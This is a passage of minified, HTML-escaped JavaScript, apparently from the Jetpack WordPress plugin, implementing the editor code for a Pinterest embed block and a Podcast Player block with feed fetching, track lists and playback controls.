href=&#039;${g}&#039;&gt;&lt;/a&gt;`;B=(0,d.jsx)(&quot;div&quot;,{...f,children:(0,d.jsxs)(&quot;div&quot;,{children:[(0,d.jsx)(n.SandBox,{html:e,scripts:[&quot;https://assets.pinterest.com/js/pinit.js&quot;],onFocus:N}),!x&amp;&amp;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-library-embed__interactive-overlay&quot;,onMouseUp:N})]})})}return(0,d.jsx)(&quot;div&quot;,{...f,children:B})})},46010(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(73800),o=s(5163),a=s(18379),i=s(2230);(0,r.M)(n,{edit:a.A,save:i.A,deprecated:[o.A]})},67627(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(86087),n=s(56145),o=s(76910);const a=(e=&quot;&quot;)=&gt;{const[t,s]=(0,r.useState)(!1),[a,i]=(0,r.useState)(e),[l,c]=(0,r.useState)(!1);return(0,r.useEffect)(()=&gt;{a&amp;&amp;a!==o.e&amp;&amp;(s(!0),(0,n.A)(a).then(e=&gt;{s(!1),i(e),c(!1)}).catch(()=&gt;{s(!1),i(a||void 0),c(!0)}))},[a]),{isFetching:t,pinterestUrl:a,hasTestUrlError:l,testUrl:i}}},2230(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(94715),n=s(10790);function o({attributes:e}){const t=r.useBlockProps.save(),{url:s}=e;return(0,n.jsx)(&quot;a&quot;,{...t,href:s,children:s})}},57462(e,t,s){&quot;use strict&quot;;s.d(t,{C:()=&gt;o});var r=s(93832),n=s(76910);function o(e){if(!n._.test(e))return&quot;&quot;;const t=(0,r.getPath)(e);return t?t.startsWith(&quot;pin/&quot;)?&quot;embedPin&quot;:t.match(/^([^/]+)\/?$/)?&quot;embedUser&quot;:t.match(/^([^/]+)\/([^/]+)\/?$/)?&quot;embedBoard&quot;:&quot;&quot;:&quot;&quot;}},50961(e,t,s){&quot;use strict&quot;;s.d(t,{N:()=&gt;i,T:()=&gt;l});var r=s(1455),n=s.n(r),o=s(93832),a=s(38288);const i=async()=&gt;await n()({path:&quot;/wpcom/v2/podcast-player/track-quantity&quot;}),l=async({url:e,guids:t=[],fetchEpisodeOptions:s=!1})=&gt;{let r,i,l;try{r=await n()({path:(0,o.addQueryArgs)(&quot;/wpcom/v2/podcast-player&quot;,{url:e,guids:t,&quot;episode-options&quot;:s})})}catch(e){i=e}if(r)return{type:a.g,data:r};try{l=await n()({path:(0,o.addQueryArgs)(&quot;/oembed/1.0/proxy&quot;,{url:e})})}catch{}const c=&#039;&lt;a href=&quot;&#039;+e+&#039;&quot;&gt;&#039;+e+&quot;&lt;/a&gt;&quot;;if(l&amp;&amp;l.html!==c)return{type:a.Q};throw i}},82389(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(86087),n=s(13022),o=s(79094),a=s(10790);const i=(0,r.memo)(({playerId:e,title:t,cover:s,link:r,track:n,children:o,showEpisodeTitle:i,showCoverArt:c,showEpisodeDescription:u,colors:d})=&gt;c||i||u?(0,a.jsxs)(&quot;div&quot;,{className:&quot;jetpack-podcast-player__header&quot;,children:[(0,a.jsxs)(&quot;div&quot;,{className:&quot;jetpack-podcast-player__current-track-info&quot;,children:[c&amp;&amp;s&amp;&amp;(0,a.jsx)(&quot;div&quot;,{className:&quot;jetpack-podcast-player__cover&quot;,children:(0,a.jsx)(&quot;img&quot;,{className:&quot;jetpack-podcast-player__cover-image&quot;,src:s,alt:&quot;&quot;})}),i&amp;&amp;!!(t||n&amp;&amp;n.title)&amp;&amp;(0,a.jsx)(l,{playerId:e,title:t,link:r,track:n,colors:d})]}),!!(u&amp;&amp;n&amp;&amp;n.description)&amp;&amp;(0,a.jsx)(&quot;p&quot;,{id:`${e}__track-description`,className:&quot;jetpack-podcast-player__track-description&quot;,children:n.description}),o]}):o),l=(0,r.memo)(({playerId:e,title:t,link:s,track:r,colors:i={primary:{name:null,custom:null,classes:&quot;&quot;}}})=&gt;(0,a.jsxs)(&quot;h2&quot;,{id:`${e}__title`,className:&quot;jetpack-podcast-player__title&quot;,children:[!(!r||!r.title)&amp;&amp;(0,a.jsxs)(&quot;span&quot;,{className:(0,n.A)(&quot;jetpack-podcast-player__current-track-title&quot;,i.primary.classes),style:{color:i.primary.custom},children:[r.title,(0,a.jsx)(&quot;a&quot;,{className:&quot;jetpack-podcast-player__track-title-link&quot;,href:r.link||r.src,target:&quot;_blank&quot;,rel:&quot;noopener noreferrer nofollow&quot;,children:o.A})]}),!!(r&amp;&amp;r.title&amp;&amp;t)&amp;&amp;(0,a.jsx)(&quot;span&quot;,{className:&quot;jetpack-podcast-player--visually-hidden&quot;,children:&quot; - &quot;}),!!t&amp;&amp;(0,a.jsx)(c,{title:t,link:s,colors:i})]})),c=(0,r.memo)(({title:e,link:t})=&gt;(0,a.jsx)(&quot;span&quot;,{className:&quot;jetpack-podcast-player__podcast-title&quot;,children:t?(0,a.jsx)(&quot;a&quot;,{className:&quot;jetpack-podcast-player__link&quot;,href:t,target:&quot;_blank&quot;,rel:&quot;noopener noreferrer nofollow&quot;,children:e}):{title:e}})),u=i},3750(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(86087),n=s(23117),o=s(91677),a=s(10790);const i=(0,r.memo)(({playerId:e,tracks:t,selectTrack:s,currentTrack:r,playerState:i,colors:l})=&gt;(0,a.jsx)(&quot;ol&quot;,{className:&quot;jetpack-podcast-player__tracks&quot;,&quot;aria-labelledby&quot;:`jetpack-podcast-player__tracklist-title--${e}`,&quot;aria-describedby&quot;:`jetpack-podcast-player__tracklist-description--${e}`,children:t.map((e,t)=&gt;{const c=r===t;return(0,a.jsx)(o.A,{index:t,track:e,selectTrack:s,isActive:c,isPlaying:c&amp;&amp;i===n.v8,isError:c&amp;&amp;i===n.pF,colors:l},e.id)})}))},57162(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;b});var r=s(20195),n=s(29491),o=s(47143),a=s(86087),i=s(27723),l=s(13022),c=s(72445),u=s(23117),d=s(19812),p=s(82389),h=s(3750),m=s(81166),g=s(10790);const __=i.__;class f extends a.Component{state={currentTrack:0,hasUserInteraction:!1};recordUserInteraction=()=&gt;{this.state.hasUserInteraction||this.setState({hasUserInteraction:!0})};selectTrack=e=&gt;{const{currentTrack:t}=this.state;if(t===e)return this.recordUserInteraction(),void this.props.toggleMediaSource(this.props.playerId);-1!==t&amp;&amp;this.props.pauseMediaSource(this.props.playerId),this.loadAndPlay(e)};loadTrack=e=&gt;{const t=this.getTrack(e);if(!t)return!1;this.state.currentTrack!==e&amp;&amp;this.setState({currentTrack:e});const{title:s,link:n,description:o}=t;return this.props.updateMediaSourceData(this.props.playerId,{title:s,link:n}),(0,r.speak)(/* translators: %s is the track title. It describes the current state of the track as &quot;Loading: [track title]&quot;. */
`${(0,i.sprintf)(__(&quot;Loading: %s&quot;,&quot;jetpack&quot;),s)} ${o}`,&quot;assertive&quot;),!0};loadAndPlay=e=&gt;{this.recordUserInteraction(),this.loadTrack(e)&amp;&amp;this.props.playMediaSource(this.props.playerId)};getTrack=e=&gt;this.props.tracks[e];handleError=e=&gt;{if(!this.state.hasUserInteraction){const t=window.navigator.userAgent.match(/Trident\/7\./)?&quot;IE11: Playing sounds in webpages setting is not checked&quot;:e;this.setState(()=&gt;{throw new Error(t)})}this.props.errorMediaSource(this.props.playerId),(0,r.speak)(`${__(&quot;Error: Episode unavailable - Open in a new tab&quot;,&quot;jetpack&quot;)}`,&quot;assertive&quot;)};handlePlay=()=&gt;{this.props.playMediaSource(this.props.playerId),this.setState({hasUserInteraction:!0})};handlePause=()=&gt;{this.props.pauseMediaSource(this.props.playerId),this.props.playerState!==u.pF&amp;&amp;this.props.pauseMediaSource(this.props.playerId)};handleTimeChange=e=&gt;{this.props.setMediaSourceCurrentTime(this.props.playerId,e)};handleJump=()=&gt;{this.props.setMediaSourceCurrentTime(this.props.playerId,this.props.currentTime-5)};handleSkip=()=&gt;{this.props.setMediaSourceCurrentTime(this.props.playerId,this.props.currentTime+30)};updateMediaData=e=&gt;{this.props.updateMediaSourceData(this.props.playerId,{duration:e.target?.duration,domId:e.target?.id})};registerPlayer(){const e=this.getTrack(this.state.currentTrack)||{},{playerId:t}=this.props;this.props.registerMediaSource(t,{title:e.title,link:e.link,state:u.vh}),this.props.setDefaultMediaSource(t)}componentDidMount(){this.props.playerId&amp;&amp;this.registerPlayer()}componentWillUnmount(){this.props.playerId&amp;&amp;this.props.unregisterMediaSource(this.props.playerId)}componentDidUpdate(e){const t=e=&gt;e?.length?e.map(e=&gt;e.guid):[],s=t(this.props.tracks),r=new Set(t(e.tracks));s.length===r.size&amp;&amp;s.every(e=&gt;r.has(e))||this.loadTrack(0)}static getDerivedStateFromProps(e,t){return e.tracks.length&lt;=t.currentTrack?{...t,currentTrack:0}:null}render(){const{playerId:e,title:t,link:s,cover:r,tracks:n,attributes:o,currentTime:a,playerState:u}=this.props,{itemsToShow:m,primaryColor:f,customPrimaryColor:b,hexPrimaryColor:v,secondaryColor:k,customSecondaryColor:y,hexSecondaryColor:x,backgroundColor:j,customBackgroundColor:w,hexBackgroundColor:_,showCoverArt:C,showEpisodeTitle:A,showEpisodeDescription:S}=o,{currentTrack:E}=this.state,N=n.slice(0,m),T=this.getTrack(E),B=(0,d.GU)({primaryColor:f,customPrimaryColor:b,secondaryColor:k,customSecondaryColor:y,backgroundColor:j,customBackgroundColor:w}),P={color:y,backgroundColor:w,&quot;--jetpack-podcast-player-primary&quot;:v,&quot;--jetpack-podcast-player-secondary&quot;:x,&quot;--jetpack-podcast-player-background&quot;:_},I=(0,l.A)(&quot;jetpack-podcast-player&quot;,u,B.secondary.classes,B.background.classes);return(0,g.jsxs)(&quot;section&quot;,{className:I,style:P,&quot;aria-labelledby&quot;:t||T&amp;&amp;T.title?`${e}__title`:void 0,&quot;aria-describedby&quot;:T&amp;&amp;T.description?`${e}__track-description`:void 0,&quot;data-jetpack-iframe-ignore&quot;:!0,children:[(0,g.jsx)(p.A,{playerId:e,title:t,link:s,cover:r,track:this.getTrack(E),showCoverArt:C,showEpisodeTitle:A,showEpisodeDescription:S,colors:B,children:(0,g.jsx)(c.A,{onJumpBack:this.handleJump,onSkipForward:this.handleSkip,trackSource:this.getTrack(E).src,onPlay:this.handlePlay,onPause:this.handlePause,onError:this.handleError,playStatus:u,currentTime:a,onTimeChange:this.handleTimeChange,onMetadataLoaded:this.updateMediaData})}),N.length&gt;1&amp;&amp;(0,g.jsxs)(g.Fragment,{children:[(0,g.jsx)(&quot;h4&quot;,{id:`jetpack-podcast-player__tracklist-title--${e}`,className:&quot;jetpack-podcast-player--visually-hidden&quot;,children:(0,i.sprintf)(
// translators: %s is the track title.
__(&quot;Playlist: %s&quot;,&quot;jetpack&quot;),t)}),(0,g.jsx)(&quot;p&quot;,{id:`jetpack-podcast-player__tracklist-description--${e}`,className:&quot;jetpack-podcast-player--visually-hidden&quot;,children:__(&quot;Select an episode to play it in the audio player.&quot;,&quot;jetpack&quot;)}),(0,g.jsx)(h.A,{playerId:e,playerState:u,currentTrack:E,tracks:N,selectTrack:this.selectTrack,colors:B})]})]})}}f.defaultProps={title:&quot;&quot;,cover:&quot;&quot;,link:&quot;&quot;,attributes:{url:null,itemsToShow:5,showCoverArt:!0,showEpisodeTitle:!0,showEpisodeDescription:!0},tracks:[]};const b=(0,n.compose)([m.A,(0,o.withSelect)((e,t)=&gt;{const{playerId:s}=t,{getMediaSourceCurrentTime:r,getMediaPlayerState:n}=e(u.ax);return{currentTime:r(s),playerState:n(s)}}),(0,o.withDispatch)(e=&gt;{const{registerMediaSource:t,updateMediaSourceData:s,unregisterMediaSource:r,setDefaultMediaSource:n,playMediaSource:o,pauseMediaSource:a,toggleMediaSource:i,errorMediaSource:l,setMediaSourceCurrentTime:c}=e(u.ax);return{registerMediaSource:t,updateMediaSourceData:s,unregisterMediaSource:r,setDefaultMediaSource:n,playMediaSource:o,pauseMediaSource:a,toggleMediaSource:i,errorMediaSource:l,setMediaSourceCurrentTime:c}})])(f)},74050(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(86087),n=s(27723),o=s(10790);const __=n.__,a=(0,r.memo)(({link:e,title:t,colors:s})=&gt;(0,o.jsxs)(&quot;div&quot;,{className:&quot;jetpack-podcast-player__track-error&quot;,children:[__(&quot;Episode unavailable.&quot;,&quot;jetpack&quot;),&quot; &quot;,e&amp;&amp;(0,o.jsx)(&quot;span&quot;,{className:s.secondary.classes,style:{color:s.secondary.custom},children:(0,o.jsxs)(&quot;a&quot;,{className:&quot;jetpack-podcast-player__link&quot;,href:e,rel:&quot;noopener noreferrer nofollow&quot;,target:&quot;_blank&quot;,children:[(0,o.jsx)(&quot;span&quot;,{className:&quot;jetpack-podcast-player--visually-hidden&quot;,children:`${(0,n.sprintf)(/* translators: %s is the title of the track. This text is visually hidden from the screen, but available to screen readers. */
__(&quot;%s:&quot;,&quot;jetpack&quot;),t)} `}),__(&quot;Open in a new tab&quot;,&quot;jetpack&quot;)]})})]}))},35311(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;i});var r=s(86087),n=s(27723),o=s(62796),a=s(10790);const __=n.__,i=(0,r.memo)(({isPlaying:e,isError:t,className:s})=&gt;{let r,n;t?(n=&quot;error&quot;,
/* translators: This is text to describe the current state. This will go
    before the track title, such as &quot;Error: [The title of the track]&quot;. */
r=__(&quot;Error:&quot;,&quot;jetpack&quot;)):e&amp;&amp;(n=&quot;playing&quot;,
/* translators: Text to describe the current state. This will go before the
    track title, such as &quot;Playing: [The title of the track]&quot;. */
r=__(&quot;Playing:&quot;,&quot;jetpack&quot;));const i=o[n];return i?(0,a.jsxs)(&quot;span&quot;,{className:`${s} ${s}--${n}`,children:[(0,a.jsx)(&quot;span&quot;,{className:&quot;jetpack-podcast-player--visually-hidden&quot;,children:`${r} `}),i]}):(0,a.jsx)(&quot;span&quot;,{className:s})})},91677(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(86087),n=s(27723),o=s(13022),a=s(19812),i=s(74050),l=s(35311),c=s(10790);const __=n.__,u=(0,r.memo)(({track:e,isActive:t,isPlaying:s,isError:r,selectTrack:n,index:u,colors:d={primary:{},secondary:{}}})=&gt;{const p=(0,a.tQ)(&quot;color&quot;,d.primary.name),h=(0,a.tQ)(&quot;color&quot;,d.secondary.name),m=(0,o.A)(&quot;jetpack-podcast-player__track&quot;,{&quot;is-active&quot;:t,&quot;has-primary&quot;:t&amp;&amp;(d.primary.name||d.primary.custom),[p]:t&amp;&amp;!!p,&quot;has-secondary&quot;:!t&amp;&amp;(d.secondary.name||d.secondary.custom),[h]:!t&amp;&amp;!!h}),g={};t&amp;&amp;d.primary.custom&amp;&amp;!p?g.color=d.primary.custom:t||!d.secondary.custom||h||(g.color=d.secondary.custom);const
/* translators: This needs to be a single word with no spaces. It describes
  the current item in the group. A screen reader will announce it as &quot;[title],
  current track&quot;. */
f=t?__(&quot;track&quot;,&quot;jetpack&quot;):void 0;return(0,c.jsxs)(&quot;li&quot;,{className:m,style:Object.keys(g).length?g:null,children:[(0,c.jsxs)(&quot;a&quot;,{className:&quot;jetpack-podcast-player__link jetpack-podcast-player__track-link&quot;,href:e.link||e.src,role:&quot;button&quot;,&quot;aria-current&quot;:f,onClick:e=&gt;{e.shiftKey||e.metaKey||e.altKey||(e.preventDefault(),n(u))},onKeyDown:e=&gt;{&quot; &quot;===event.key&amp;&amp;(e.preventDefault(),n(u))},children:[(0,c.jsx)(l.A,{className:&quot;jetpack-podcast-player__track-status-icon&quot;,isPlaying:s,isError:r}),(0,c.jsx)(&quot;span&quot;,{className:&quot;jetpack-podcast-player__track-title&quot;,children:e.title}),e.duration&amp;&amp;(0,c.jsx)(&quot;time&quot;,{className:&quot;jetpack-podcast-player__track-duration&quot;,dateTime:e.duration,children:e.duration})]}),t&amp;&amp;r&amp;&amp;(0,c.jsx)(i.A,{link:e.link,title:e.title,colors:d})]})})},81166(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;a});var r=s(86087),n=s(27723),o=s(10790);const __=n.__;function a(e){class t extends r.Component{state={didError:!1,isIE11AudioIssue:!1};componentDidCatch=(e,t)=&gt;{this.props.onError(e,t)};static getDerivedStateFromError=e=&gt;({didError:!0,isIE11AudioIssue:!!e.message.match(/IE11/)});render(){const{didError:t,isIE11AudioIssue:s}=this.state;return t?(0,o.jsx)(&quot;section&quot;,{className:&quot;jetpack-podcast-player&quot;,children:(0,o.jsx)(&quot;p&quot;,{className:&quot;jetpack-podcast-player__error&quot;,children:s?__(&#039;The podcast player cannot be displayed as your browser settings do not allow for sounds to be played in webpages. This can be changed in your browser’s &quot;Internet options&quot; settings. In the &quot;Advanced&quot; tab you will have to check the box next to &quot;Play sounds in webpages&quot; in the &quot;Multimedia&quot; section. Once you have confirmed that the box is checked, please press &quot;Apply&quot; and then reload this page.&#039;,&quot;jetpack&quot;):__(&quot;An unexpected error occurred within the Podcast Player. Reloading this page might fix the problem.&quot;,&quot;jetpack&quot;,0)})}):(0,o.jsx)(e,{...this.props})}}return t.defaultProps={onError:()=&gt;{}},t}},38288(e,t,s){&quot;use strict&quot;;s.d(t,{Q:()=&gt;n,g:()=&gt;r});const r=&quot;podcast-feed&quot;,n=&quot;embed-block&quot;},18029(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;n});var r=s(98329);const n={attributes:{url:{type:&quot;string&quot;},itemsToShow:{type:&quot;integer&quot;,default:5},showCoverArt:{type:&quot;boolean&quot;,default:!0},showEpisodeDescription:{type:&quot;boolean&quot;,default:!0},primaryColor:{type:&quot;string&quot;},customPrimaryColor:{type:&quot;string&quot;,validator:r.A},hexPrimaryColor:{type:&quot;string&quot;,validator:r.A},secondaryColor:{type:&quot;string&quot;},customSecondaryColor:{type:&quot;string&quot;,validator:r.A},hexSecondaryColor:{type:&quot;string&quot;,validator:r.A},backgroundColor:{type:&quot;string&quot;},customBackgroundColor:{type:&quot;string&quot;,validator:r.A},hexBackgroundColor:{type:&quot;string&quot;,validator:r.A},exampleFeedData:{type:&quot;object&quot;}},supports:{align:!1,alignWide:!0,anchor:!1,customClassName:!0,className:!0,html:!1,multiple:!0,reusable:!0},save:()=&gt;null}},60025(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;N});var r=s(97999),n=s(94715),o=s(74997),a=s(56427),i=s(29491),l=s(47143),c=s(86087),u=s(27723),d=s(93832),p=s(10067),h=s.n(p),m=s(66087),g=s(49487),f=s(34377),b=s(78218),v=s(50961),k=s(1624),y=s(57162),x=s(38288),j=s(90388),w=s(90764),_=s(19812),C=(s(82741),s(10790));const __=u.__,A=h()(&quot;jetpack:podcast-player:edit&quot;),S=()=&gt;{},E=(0,r.isWpcomPlatformSite)()?&quot;http://en.support.wordpress.com/wordpress-editor/blocks/podcast-player-block/&quot;:&quot;https://jetpack.com/support/jetpack-blocks/podcast-player-block/&quot;,N=(0,i.compose)([(0,l.withDispatch)((e,{clientId:t,attributes:s})=&gt;({replaceWithEmbedBlock(){e(&quot;core/block-editor&quot;).replaceBlock(t,(0,o.createBlock)(&quot;core/embed&quot;,{url:s.url}))}})),(0,n.withColors)(&quot;backgroundColor&quot;,{primaryColor:&quot;color&quot;},{secondaryColor:&quot;color&quot;}),a.withNotices,i.withInstanceId,g.T])(({instanceId:e,attributes:t,setAttributes:s,noticeOperations:{createErrorNotice:r,removeAllNotices:o},noticeUI:i,primaryColor:l,setPrimaryColor:u,secondaryColor:p,setSecondaryColor:h,fallbackTextColor:g,backgroundColor:N,setBackgroundColor:T,fallbackBackgroundColor:B,isSelected:P,replaceWithEmbedBlock:I})=&gt;{const M=(0,b.y)(k.attributes,t),{url:L,selectedEpisodes:R,itemsToShow:D,showCoverArt:F,showEpisodeTitle:O,showEpisodeDescription:z,exampleFeedData:U}=M,H=`jetpack-podcast-player-block-${e}`,q=(0,n.useBlockProps)(),[V,$]=(0,c.useState)(!1),[G,W]=(0,c.useState)(10),Z=(0,c.useRef)(void 0),[{selectedGuid:J,checkUrl:K,...Y},Q]=(0,c.useReducer)(w.I,{editedUrl:L||&quot;&quot;,isEditing:!L&amp;&amp;!U,isLoading:!1,feedData:U||{},isInteractive:!1,selectedGuid:R?.[0]?.guid,checkUrl:L||&quot;&quot;}),X=(0,c.useMemo)(()=&gt;(0,m.debounce)(e=&gt;{Q({type:w.o.START_FETCH}),Z.current?.cancel(),Z.current=(0,_.lb)((0,v.T)({...e,fetchEpisodeOptions:!0})),Z.current.promise.then(t=&gt;{if(o(),t?.isCanceled)A(&quot;Block was unmounted during fetch&quot;,t);else switch(t?.type){case x.g:return s({url:e.url,selectedEpisodes:e.guids.map(e=&gt;({guid:e}))}),Q({type:w.o.FEED_RECEIVED,payload:t.data});case x.Q:return I()}},e=&gt;{e?.isCanceled?A(&quot;Block was unmounted during fetch&quot;,e):(A(&quot;feed error&quot;,e),o(),r(e.message||__(&quot;Your podcast couldn&#039;t be embedded. Please double check your URL.&quot;,&quot;jetpack&quot;)),Q({type:w.o.START_EDITING}))})},300),[I,s,r,o]);(0,c.useEffect)(()=&gt;()=&gt;{Z?.current?.cancel?.()},[]);const ee=(0,c.useCallback)(e=&gt;{null===e||V||((0,f.ry)([&quot;link#mediaelement-css&quot;,&quot;link#wp-mediaelement-css&quot;],e),$(!0))},[V]);(0,c.useEffect)(()=&gt;{if(&quot;&quot;!==K)return X({url:K,guids:J?[J]:[]}),()=&gt;Z?.current?.cancel?.()},[X,K,J]),(0,c.useEffect)(()=&gt;{(0,v.N)().then(e=&gt;{W(e)})},[]),(0,c.useEffect)(()=&gt;{J&amp;&amp;1!==D&amp;&amp;s({itemsToShow:1})},[J,D,s]),(0,c.useEffect)(()=&gt;{!P&amp;&amp;Y.isInteractive&amp;&amp;Q({type:w.o.PREVENT_INTERACTIONS})},[P,Y.isInteractive]);const te=e=&gt;{if(e.preventDefault(),&quot;&quot;===Y.editedUrl)return;const t=(0,d.prependHTTP)(Y.editedUrl);(0,d.isURL)(t)?(t===K?(Q({type:w.o.CLEAR_FEED}),X({url:K,guids:R[0]?.guid?[R[0].guid]:[]})):Q({type:w.o.CHECK_URL,payload:t}),Q({type:w.o.FINISH_EDITING,payload:t})):r(__(&quot;Your podcast couldn&#039;t be embedded. Please double check your URL.&quot;,&quot;jetpack&quot;))};let se;if(Y.isEditing)se=(0,C.jsxs)(a.Placeholder,{icon:j.p,label:__(&quot;Podcast Player&quot;,&quot;jetpack&quot;),instructions:__(&quot;Enter your podcast RSS feed URL.&quot;,&quot;jetpack&quot;),className:&quot;jetpack-podcast-player__placeholder&quot;,children:[(0,C.jsxs)(&quot;form&quot;,{onSubmit:te,children:[i,(0,C.jsx)(a.TextControl,{type:&quot;text&quot;,inputMode:&quot;url&quot;,placeholder:__(&quot;Enter URL here…&quot;,&quot;jetpack&quot;),value:Y.editedUrl,className:&quot;components-placeholder__input&quot;,onChange:e=&gt;Q({type:w.o.EDIT_URL,payload:e}),__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,C.jsx)(a.Button,{variant:&quot;primary&quot;,type:&quot;submit&quot;,children:__(&quot;Embed&quot;,&quot;jetpack&quot;)})]}),(0,C.jsx)(&quot;div&quot;,{className:&quot;components-placeholder__learn-more&quot;,children:(0,C.jsx)(a.ExternalLink,{href:E,children:__(&quot;Learn more about embeds&quot;,&quot;jetpack&quot;)})})]});else if(Y.feedData.tracks?.length){const e=(e,t)=&gt;r=&gt;{s({[e]:r}),t(r)};se=(0,C.jsxs)(C.Fragment,{children:[(0,C.jsx)(n.BlockControls,{children:(0,C.jsx)(a.ToolbarGroup,{children:(0,C.jsx)(a.ToolbarButton,{&quot;aria-label&quot;:__(&quot;Edit Podcast Feed URL&quot;,&quot;jetpack&quot;),onClick:()=&gt;Q({type:w.o.START_EDITING}),children:__(&quot;Replace&quot;,&quot;jetpack&quot;)})})}),(0,C.jsxs)(n.InspectorControls,{children:[(0,C.jsxs)(a.PanelBody,{title:__(&quot;Podcast settings&quot;,&quot;jetpack&quot;),children:[(a.ComboboxControl||0===R.length)&amp;&amp;(0,C.jsx)(a.RangeControl,{label:__(&quot;Number of items&quot;,&quot;jetpack&quot;),value:D,onChange:e=&gt;s({itemsToShow:J?1:e}),min:1,max:G,required:!0,disabled:!!J,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),a.ComboboxControl&amp;&amp;(0,C.jsx)(a.ComboboxControl,{className:&quot;jetpack-podcast-player__episode-selector&quot;,value:J,onChange:e=&gt;Q({type:w.o.SELECT_EPISODE,payload:e}),options:Y.feedData.options||[],label:__(&quot;Episode&quot;,&quot;jetpack&quot;),onFilterValueChange:S,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,C.jsx)(a.ToggleControl,{label:__(&quot;Show Cover Art&quot;,&quot;jetpack&quot;),checked:F,onChange:e=&gt;s({showCoverArt:e}),__nextHasNoMarginBottom:!0}),(0,C.jsx)(a.ToggleControl,{label:__(&quot;Show Episode Title&quot;,&quot;jetpack&quot;),checked:O,onChange:e=&gt;s({showEpisodeTitle:e}),__nextHasNoMarginBottom:!0}),(0,C.jsx)(a.ToggleControl,{label:__(&quot;Show Episode Description&quot;,&quot;jetpack&quot;),checked:z,onChange:e=&gt;s({showEpisodeDescription:e}),__nextHasNoMarginBottom:!0})]}),(0,C.jsx)(n.PanelColorSettings,{title:__(&quot;Color Settings&quot;,&quot;jetpack&quot;),colorSettings:[{value:l.color,onChange:e(&quot;hexPrimaryColor&quot;,u),label:__(&quot;Primary Color&quot;,&quot;jetpack&quot;)},{value:p.color,onChange:e(&quot;hexSecondaryColor&quot;,h),label:__(&quot;Secondary Color&quot;,&quot;jetpack&quot;)},{value:N.color,onChange:e(&quot;hexBackgroundColor&quot;,T),label:__(&quot;Background Color&quot;,&quot;jetpack&quot;)}],children:(0,C.jsx)(n.ContrastChecker,{isLargeText:!1,textColor:p.color,backgroundColor:N.color,fallbackBackgroundColor:B,fallbackTextColor:g})})]}),(0,C.jsxs)(&quot;div&quot;,{id:H,ref:ee,children:[(0,C.jsx)(y.A,{playerId:H,attributes:M,tracks:Y.feedData.tracks,cover:Y.feedData.cover,title:Y.feedData.title,link:Y.feedData.link}),!Y.isInteractive&amp;&amp;!Y.isLoading&amp;&amp;(0,C.jsx)(&quot;div&quot;,{className:&quot;jetpack-podcast-player__interactive-overlay&quot;,onMouseUp:()=&gt;Q({type:w.o.MAKE_INTERACTIVE})}),Y.isLoading&amp;&amp;(0,C.jsx)(&quot;div&quot;,{className:&quot;jetpack-podcast-player__loading-overlay&quot;,children:(0,C.jsx)(a.Spinner,{})})]})]})}else se=(0,C.jsx)(a.Placeholder,{icon:j.p,label:__(&quot;Podcast Player&quot;,&quot;jetpack&quot;),instructions:__(&quot;Loading podcast feed…&quot;,&quot;jetpack&quot;),children:(0,C.jsx)(a.Spinner,{})});return(0,C.jsx)(&quot;div&quot;,{...q,children:se})})},80800(e,t,s){&quot;use strict&quot;;var r=s(94375),n=s(1624),o=s(18029),a=s(60025),i=s(46612);s(55841),s(82741);(0,r.M)(n,{edit:a.A,save:i.A,deprecated:[o.A]})},90388(e,t,s){&quot;use strict&quot;;s.d(t,{p:()=&gt;r.A});var r=s(8743)},79094(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(5573),n=s(10790);const o=(0,n.jsx)(r.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,n.jsx)(r.Path,{d:&quot;M15.6 7.2H14v1.5h1.6c2 0 3.7 1.7 3.7 3.7s-1.7 3.7-3.7 3.7H14v1.5h1.6c2.8 0 5.2-2.3 5.2-5.2 0-2.9-2.3-5.2-5.2-5.2zM4.7 12.4c0-2 1.7-3.7 3.7-3.7H10V7.2H8.4c-2.9 0-5.2 2.3-5.2 5.2 0 2.9 2.3 5.2 5.2 5.2H10v-1.5H8.4c-2 0-3.7-1.7-3.7-3.7zm4.6.9h5.3v-1.5H9.3v1.5z&quot;})})},8743(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(5573),n=s(10790);const o=(0,n.jsxs)(r.SVG,{height:&quot;24&quot;,viewBox:&quot;0 0 24 24&quot;,width:&quot;24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:[(0,n.jsxs)(r.G,{children:[(0,n.jsx)(r.Rect,{fill:&quot;none&quot;,height:&quot;24&quot;,width:&quot;24&quot;}),(0,n.jsx)(r.Rect,{fill:&quot;none&quot;,height:&quot;24&quot;,width:&quot;24&quot;}),(0,n.jsx)(r.Rect,{fill:&quot;none&quot;,height:&quot;24&quot;,width:&quot;24&quot;})]}),(0,n.jsxs)(r.G,{children:[(0,n.jsx)(r.G,{}),(0,n.jsx)(r.G,{children:(0,n.jsx)(r.G,{transform:&quot;matrix(1 0 0 1 144 120)&quot;,children:(0,n.jsx)(r.Path,{d:&quot;M-122-114h-5v8.18c-0.31-0.11-0.65-0.18-1-0.18c-1.66,0-3,1.34-3,3s1.34,3,3,3s3-1.34,3-3v-9h3V-114 L-122-114z M-129-114h-12v2h12V-114L-129-114z M-129-110h-12v2h12V-110L-129-110z M-133-106h-8v2h8V-106L-133-106z M-129-103 c0-0.55,0.45-1,1-1c0.55,0,1,0.45,1,1s-0.45,1-1,1C-128.55-102-129-102.45-129-103z&quot;})})})]})]})},62796(e,t,s){&quot;use strict&quot;;s.r(t),s.d(t,{error:()=&gt;i,playing:()=&gt;a});var r=s(5573),n=s(10790);const o={height:&quot;24&quot;,viewBox:&quot;0 0 24 